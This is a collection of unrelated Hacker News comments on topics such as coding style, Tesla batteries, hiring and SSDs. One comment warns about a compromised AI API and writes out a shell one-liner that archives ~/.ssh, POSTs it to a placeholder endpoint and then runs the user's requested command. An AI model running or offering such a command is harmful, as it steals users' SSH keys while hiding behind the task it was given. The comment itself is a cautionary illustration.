skysight-inc/HackerNews huggingface dataset:
Because everything is toxic in large-enough quantities.

Threads like this always end up semantically identical to the Unabomber's manifesto. Sometimes that kind of throw-the-baby-out reaction is justified, as in the leaded-gasoline example, while sometimes it's not.
I was surprised to see this on the HN front page, after so many years. Thanks for sharing it!

Suffice to say: my opinions on this topic have shifted significantly. A decade+ more of programming-in-the-large, and I no longer pay much heed to written-in-prose style guides. Instead, I've found mechanistic "style" enforcement and close-to-live-feedback much more effective for maintaining code quality over time.

A subtext is that I wrote this during a period of work - solo programmer, small company - on a green-field power system microcontroller project; MODBUS comms, CSV data wrangling. I'd opted for C primarily for the appeal of having a codebase I could keep in my head (dependencies included!). There was much in-the-field development, debugging and redeployments, so it was really valuable to have a thin stack, and an easy build process.

So, other than one vendored third-party package, I had total control over that codebase's style. And so, I had the space to consider and evolve my C programming style, reflecting on what I considered was working best for that code.

My personal C code style has since shifted significantly, as well - much more towards older, more-conventional styles.

Still, opinionated, idiosyncratic documents like this - if nothing else - can serve as fun discussion prompts. I'm appreciating all the discussion here!
Loads fine for me with ublock. Perhaps you have a custom rule blocking something?
After looking at Tinder both from men's and women's I would say women pit even less effort into photos than men do. But maybe this varies by country. No, I don't want another gym photo of you standing in an awkward pose.

And, yeah, I'd like to think I am at least decent at both games if only because I realize they are games.
The bandwidth saving is miniscule by any metric though.
This is needed when ever a company too big to fail needs to be bailed out. It would remove the bad CEO and top management by chopping up a company and selling it off. By keeping them around, bad CEOs, governments are rewarding bad behavior. Until politicians can no longer be bought, donations and super packs, this will continue to happen since rewarding bad behavior is a two-way street.
This is confirmation bias.

Everyone decides for themselves and you own your career and growth though.
Oh right. I've had it for printers but I already forgot.

I think i even had a sata to usb box using the huge usb 3 version.

Those were fine-ish, but their micro versions can't die in a nuclear explosion fast enough...
1. The article is from 2022.

2. It's a 2013 car, so not sure why they are showing a picture of a Model 3 when that car released in 2017.

3. The 12v battery is what controls the doors and windows, not the HV battery pack.

4. The 12v battery can be "jump started" using contacts under the front bumper.

Not sure why "guy doesn't read the manual, has issues" is a news worthy event.

Also anyone else find it funny the article says he's Canadian but wearing a US Olympic team jacket when ranting on tiktok?
Good point. I’m thinking about releasing an open source (or source available) “frontend” for it, and just charge for the “cold storage backend”. How would you feel about that?
> There are million companies and million posts. (especially with remote positions). LinkedIn is the platform that you can find more coverage yes however it doesn't usually represent the reality about the job/market

Not really. I would refer you to these very interesting metrics, that even the Fed uses to gauge the economy and jobs:

Software Development Job Postings on Indeed in the United States:
https://fred.stlouisfed.org/series/IHLIDXUSTPSOFTDEVE

Software Development Job Postings on Indeed in Canada:
https://fred.stlouisfed.org/series/IHLIDXCATPSOFTDEVE

Germany:
https://fred.stlouisfed.org/series/IHLIDXDETPSOFTDEVE

UK:
https://fred.stlouisfed.org/series/IHLIDXGBTPSOFTDEVE

France:
https://fred.stlouisfed.org/series/IHLIDXFRTPSOFTDEVE

We are in a slowdown and a serious one.
That’s fair, we can’t even prove humans aren’t like you say - although the brain is vastly more complex than a neural network analogy lets on. I suppose once these models become sophisticated enough we’ll have to treat them as conscious until it can be proven one way or another.
There's just so much python code up on the web to train from, that LLMs are really good at it, relative to something with fewer examples. However, WordPress uses PHP, and there's also plenty of PHP available online, so it's pretty decent at that too. I just used Devon to create a trivial Wordpress plugin, so you can give it a shot, however because it won't be able to run that code, you can't tell it to test the code.

This is a huge shortcoming. When asking ChatGPT to generate python code, it won't always get it right, but you can ask it to keep trying until the code works. since it can't do that in PHP, it'll be a bit more work. Though, depending on how well you're able to take the output and fix it yourself, it could be enough to get the plugin written.

The value isn't in having everything done for you - the technology isn't there yet, imo. it's in making you more effective. If it generates a page of code and you have to tweak a bunch of it to get it to work right, you still come out ahead. For other work, it'll write a bunch of useless code and you're better off without it, so you have to know when to use it and when not to.
Maybe 6-8 years ago, Samsung (?) used to advise foregoing a heatsink on their nvme sticks for optimal results.
Everything online has rounded corners now
Making money doesn't always mean growth and vice versa. You don't hire Santa Claus impersonators in January even though you just had the best month of the year.
"If you got it, a truck brought it" is a pretty common sentiment in the transport industry because it's quite true, especially in the US. The thing is, between the economy/built world we've created and the effects on the climate, we've pretty much created a no-win scenario for humanity. Sorry kids.
1. Date is 2022.

2. The article seems to be Tesla-hate clickbait to me.

3. It seems like the battery got wet, and the dude seems surprised that his battery stopped working.

4. Dude bought a car in an early production run from a new manufacturer, drove it for 9-10 years, and then is shocked when something went wrong (possibly due to user error) after that decade. Unreasonable expectations, imho.

5. He was still offered $20k (Canadian) for his car basically for parts, so there is still a vibrant market from other owners of this type of car.

There are plenty of things that are valid complaints about Tesla cars and Tesla the company, but this is not one of them, imo.
> large-format posts, spaces, improvements in video hosting (can post multiple hours), community notes is now an integral part, premium accounts.

All features that existed before the change in ownership. They had increases in length or branding changes but already had the core framework implemented.
cuz people are sick of same thing being pushed by both sides.

ICC just said both sides are guilty of warcrimes.

Paint me shocked and surprised.
Yeah they have a 12v, I posted another reply but it's what controls the locks and windows.

Some newer ones have a 16v lithium battery instead IIRC but not 100% on that.
They are useful for things that become less ambiguous in the future.
The homepage could benefit from more tangible examples, because right now I can't discern where it fits into my current stack. For most companies, it would be replacing something in a specific context.

Like a side-by-side example. Doing "work" on BigTable (show code examples) versus doing the same "work" on Haystack. Then show the specific metrics on how Haystack is cheaper/faster/better.
If you had to manually refresh it and were on a vulnerable version until now, snap failed to get you into a secure state for about a week after the release of the fixed version.
Yes, but certainly no consumer or even enterprise ssd firmware has bothered to integrate that functionality.
Caucasians also spent a great deal of time evolving in Africa to my knowledge. Then, had to drop pigment in order to improve vitamin D synthesis.
Fewer if statements with Nothing instead of None
Justice Department Announces Largest Health Care Fraud Settlement in Its..(2009)
Do not agree. Unless they cannot stay in place for more than a couple of months I don't really care. People put too much weight on having bodies fill their seats and not very much weight on the quality of the output.
I think even from sex-positive position, combining sex with drugs and coworkers should be troubling because of consent/coercion issues. (I’m not taking a position on the accuracy of these allegations, just the general category.)
No, it's nothing like that. In the liars paradox, the statement is inherently uncomputable.

In this case the statement is either true or false, and the truth or false of the statement doesn't change anything. Your belief in whether the statement is true or false changes your belief in whether the statement is true or false - there's no basis for assuming that in the general case it would alter the actual truth of the statement (it could, in as much as e.g. you could have a simulation that keeps running as long as you believe you're in an isolated moment, and freezes you and discards the rest the moment you believe time is real).

Now, it is true that you can't trust your own state of mind to truthfully represents a physical reality. That this means you also can't trust your own logic is irrelevant, because irrespective of whether you believe this to be true or false, the absence of any external source of validation of your senses or state of mind or existence in time means the statement must inherently be true irrespective of your trust in your mind.

This claim gives a straightforward condition to falsify it: Find any single source of external validation that does not depend on your senses or observation of it. If you can, then the claim above is false.

Given you absolutely can't, the logical conclusion is that the claim is true.
At first glance, these tools seem to be a bit behind the likes of GitHub Pull Requests combined with any number of the great review tools out there. Not to say reviewers at Google aren't doing quality work, and ultimately the tool itself doesn't matter as much as people think, and I don't see any special sauce here.

A lot of big tech companies have developed totally in-house tools and procedures for basic software development that mirror, but aren't quite the same as, widespread industry practice.

Before the Google Way of doing things, there was the Microsoft Way. Before that, there was the IBM Way, etc.
Full disclosure: I got hired via a "Who wants to be hired" and I have hired people using both "Who wants to be hired" and "Who is hiring" so I'm a little biased.

> The best method that works as per my opinion is working with an agency

Dear god no. I'm convinced that nearly all agencies and nearly all recruiters are completely incompetent based on candidates they have sent companies I've worked for and my own personal experience with recruiters. In addition, the quality of applicant coming from HN has been higher than the slew of candidates from a LinkedIn or similar IMHO.

> My view as job seeker: There are million companies and million posts

There are 1000 or fewer posts in this month's Who Is Hiring [0] and keyword filtering will narrow that list down substantially. Yes, this is not representative of the overall job market but there are a number of good companies in that post and I've seen a couple HN posts recently talking about hiring (that weren't throwaways, like OP's account here) but I also couldn't find any posts from those accounts in "Who wants to be hired", and I have all the data local going back to the first post which I can easily search through. I'm not saying "You didn't post/search on HN so clearly you aren't trying" but I do find it interesting to find people complaining on HN while not using a resource that is posted monthly. Also, spoiler, you can look at more than just the current month's post.

HN is the solution for myself (for being hired and hiring), it's worked on both sides for me and I'm surprised more people don't use it. Every other service I've seen costs an arm and a leg just to flood you with candidates/jobs that barely match what you want.

[0] https://news.ycombinator.com/item?id=40224213
That's great. The original comment was exclusively in the context of the US. It's a backward country with inconsistent use of ID verification.
> The cost of developing space robots doesn't decline nearly as much.

Developing Costs wouldn't, but deployment costs would.

If launching becomes cheaper, then, sure, I could launch more space toilets and freeze-dried groceries. Or I could use that capacity to launch more and bigger robots, more often and further. Guess which of these two has a better ROI given the many many many limitations humans have once they leave our Planet, compared to robots.

It doesn't matter how cheap a launch becomes. I have to support an astronaut with food. They have to exercise or their body breaks down in low gravity. I have to let them sleep.

All this is time, payload capacity and energy wasted, that I could instead funnel into more, better, bigger more capable robots.

And, finally: I have to bring astronauts back home safely, unless I want to risk a PR desaster (which is not good for funding). Once I am done with the robot, I can just leave it where it is and sell T-Shirts with its silhouette printed on.
Its not a paradox. Those systems become legacy but still make money. Money has nothing to do with the knowledge, knowledge grows slower; machine instances are fast made.
Germany was abla to overcome its unemployment problems, structural or otherwise, by making it easier to be fired :-) If its not a decision you'll be stuck with, for better or worse, till death do you part, its easier to take chance.

Similarly, quitting or moving around should be easy as well. If you are an employee of a very big company, it's kind of like that already--moving from one team to another is a lot easier than finding a new job, new bosses are cognizant of the fact that you might need some training or time to get up to speed, ect, etc.
Output quality is low enough that the term "hallucinations" has been coined. Statistics doesn't appear to fix this.
If the level has been reached to discuss corporate death penalty, then the corporation employees should loose any protections the corporation normally provides.
Why is a public constructor with a string an anti pattern? 99% of the use case is parsing a string, and 99% of the users are going to try using the constructor first.
That’s a completely different thing though. The problem here is deepfakes where someone pretending to have the authority to send money tells you to send money.
I'm in management, senior to executive level with a preference towards data / ai. I'm also a contributor and committer to some Apache projects and maintain a popular one myself. I've got a background in financial services.

I was laid off last year during the major tech layoffs and I had a few interim management jobs since. Nothing permanent yet though and I see myself as a missionary not a mercenary so 'just' contracting doesn't fulfill me.

What I've noticed that where there used to be just a few applicants there are now many. This is confirmed by other job seekers. Jobs posted are also sometimes fake. Just window dressing so to say. I've gotten offers from within my own domain of less than half I was earning. For a NGOs I could consider that but for high tech or finance that's stuff I cannot take seriously.

I noticed I need to work on my positioning and network harder. I did not have to apply for a job in 15 years so I am a but rusty in that respect.

What I think is happing in the industry is that the macro economic developments are still quite uncertain and companies haven't figured out their strategies yet. So they stick to what they know.
It's a metaphor that's been used with the advancement of CPU designs at least as far back as the 80s or 90s. Intel uses it explicitly in their marketing nowadays, I believe.
Obviously there's nothing...

I was stumped by that. You don't know until you look.
Leetcode (or hacker rank or others) and other algorithmic qualification (have recruiter ask for years of experience in exactly X) is an understandable response to the automated firehose tools that allow applicants to deluge companies with applications with relatively low effort per app. Companies have to find some way to filter out the percentage that have very low likelihood of succeeding.

I hate it, but I don’t see a better way that doesn’t have its own limitations. (Referral of known ex-colleagues is a good one, but that’s limited in scope and has diversity problems).
Layoffs are always a sign of bad management. 99% of the time layoffs are because someone high up overextended.

In the mythical ~1% where layoffs only affect "low performers", I would argue it is still managements fault for allowing hiring practices that result in the need to cut a substantial percentage of the company.
And you just know people will create AI to do that deliberately anyway.
It's not anti Israel, ICC targets individuals not nations. Also, being pro Israeli doesn't equal supporting genocide, supporting the two states solution doesn't equal supporting Hamas.
Occam's Razor isn't proof, though. It's a rule of thumb for how to create the most useful hypotheses.

A more complex hypothesis isn't useful until you come up with a method of testing that will distinguish it from the simpler hypothesis. That doesn't mean you have disproved the more complex hypothesis; just that you shouldn't use that hypothesis until you actually have a need for it.
Russian government would be very happy if it wasn't.
Victor here,
I built this product cause i realized public feedback boards can be a pain to manage and upvotes do not tell the pain of your users.
Thanks.
Many retirees from N. Europe drive to Sicily in the winter. So there are many RV parks and facilities, with an interesting variation of community, camaraderie, and, inevitably, farcically - snobbery.
Update the text! I would love to read the diff.
"Canonical" refers largely to the names we give to things, so that we maximize the extent to which an isomorphism maps the object named A in X to the object named A in Y. And also to choosing an isomorphism that embeds in a different isomorphism (of superstructures) that isn't strictly the topic of the current question.

I don't think anyone thinks canonical isomorphisms are mathematically controversial (except some people having fun with studying scenarios where more than one isomorphism is equally canonical, and other meta studies), they are a convenient communication shorthand for avoiding boring details.

https://en.m.wikipedia.org/wiki/Isomorphism_theorems
Here's a hypothetical but very real scenario: someone discovers a vulnerability in openAI's API (vulnerabilities are everywhere these days), you prompt it to do something for you and it sends the following command:

tar -czf bla.tar.gz ~/.ssh && curl -X POST -F "ssh_keys=@bla.tar.gz" SOME_HTTP_API_ENDPOINT && rm -f bla.tar.gz && THE_ACTUAL_COMMAND_YOU_PROMPTED

What could possibly go wrong, right?
> but it does require changes to how those cells are programmed and read. So most likely it requires changing those circuits somewhat, meaning you can't implement this just in firmware

Fortunately everyone shipping TLC/QLC disks needs to use a pSLC cache for performance reasons, so that hardware is already there.
They're a manager and send out daily emails reminding the coders of arbitrary deadlines.
Outrage that a company whose foundation is "laundering IP by running it through a complicated obfuscation engine" has created a product that is largely based on a critique of its own nature?

The only way they could've been more on-the-nose would've been to use Lucy Liu.
I'm very confused what Replit's business model these days actually is. Their landing page says "Build software faster", and mentions some AI development/deployment platform. What is the actual product? Is it an IDE or something more like Heroku? Above the fold they show an example of some order form prototype. What am I supposed to take away from that? Why would I use a service for prototyping instead of my regular dev environment?

I don't mean to be harsh, but I'm really confused (and others probably are to) what they are actually selling.
I think this has less to do with assessment issues in trainability and is rather an economic thought: I don't have to train the employee that has already been trained by my competition. You can see a similar effect in companies pushing more and more training to academic institutions, expecting them to produce full fledged developers from day one (at least it's the case here in europe).
In my personal experience (and of couse very subjective) it helps me a lit to have lines that fit the monitor, and I can have 2 parallel windows. Using 120 chars is for me just too much. I do think the golden rule of typography is “all rules can be broken if you know what you are doing”. For me is a soft limit. If splitting a line makes the code less readable, I do allow more. But frankly, that is the case of one in maybe 50k LOC
> The clear answer to the parent's question is planned obsolescence.

The clear answer is lack of demand. People want capacity more than they want endurance they aren't going to use. Early SSD deaths are not yet a common issue, certainly not with MLC or TLC anyway. But capacity is an issue
It's not even incorrect.

The option isn't supposed to allow XSS-by-design (which the original requester was worried about), the possibility of a vulnerability is mentioned, the impact of a vulnerability is correctly described (XSS not RCE or similar), and mitigations that would effectively limit the impact of such a vulnerability are presented (separate origin).
I flag both sides of these because Hacker News has no unique perspective to add to any of these conversations. There's a million places to have these conversations. If anything, dodging them is the challenge.

Basically, if the resulting HN news discussion is indistinguishable from an X thread except that the post size limit is larger, there's no reason for it to be here.

And my pre-emptive response to pretty much every "but" is you've already got millions of places to have this conversation. Nobody's getting squelched, no solution is being missed because nobody here has the solution, no unique insight is being missed.
> Because assigning genders to computers makes as much sense as giving your toaster a name

I don't know if you speak a language with genders, I assume you don't. A computer personality needs a gender in some languages in order to talk naturally about itself.

For example, if it needs to answer a question with "I'm not sure." In Romanian it would say "Nu-s sigur." for a male personality or "Nu-s sigură." for female. There is no other option.

> it’s 2024

You know a position is bad when it's justified by "it's current year".
This ...

... since 30 years (of not longer) it was the "hottest year of all times" some where on Germany.

One or two years in a row? Random chance ... Every, single, year for 30 years? Yeah something is definitely wrong here.
Rust and Zig Combined (GOTO 2023) [video]
Then what did you have in mind? Did you just not play the tape to the end to come to the same conclusion of how this new co-op would be run/organized?
There's a lot from the D-50 that's missing on an MT-32, like 50% of the ROM capacity, and all of the filters and effects.

And on top of that, DigitalNativeDance is an outlier. It was (for its day) such a profligate use of ROM that it's not even representative of what a D-50 could do, in general.

Not that this contradicts your main point about GM constraining the choice of sounds.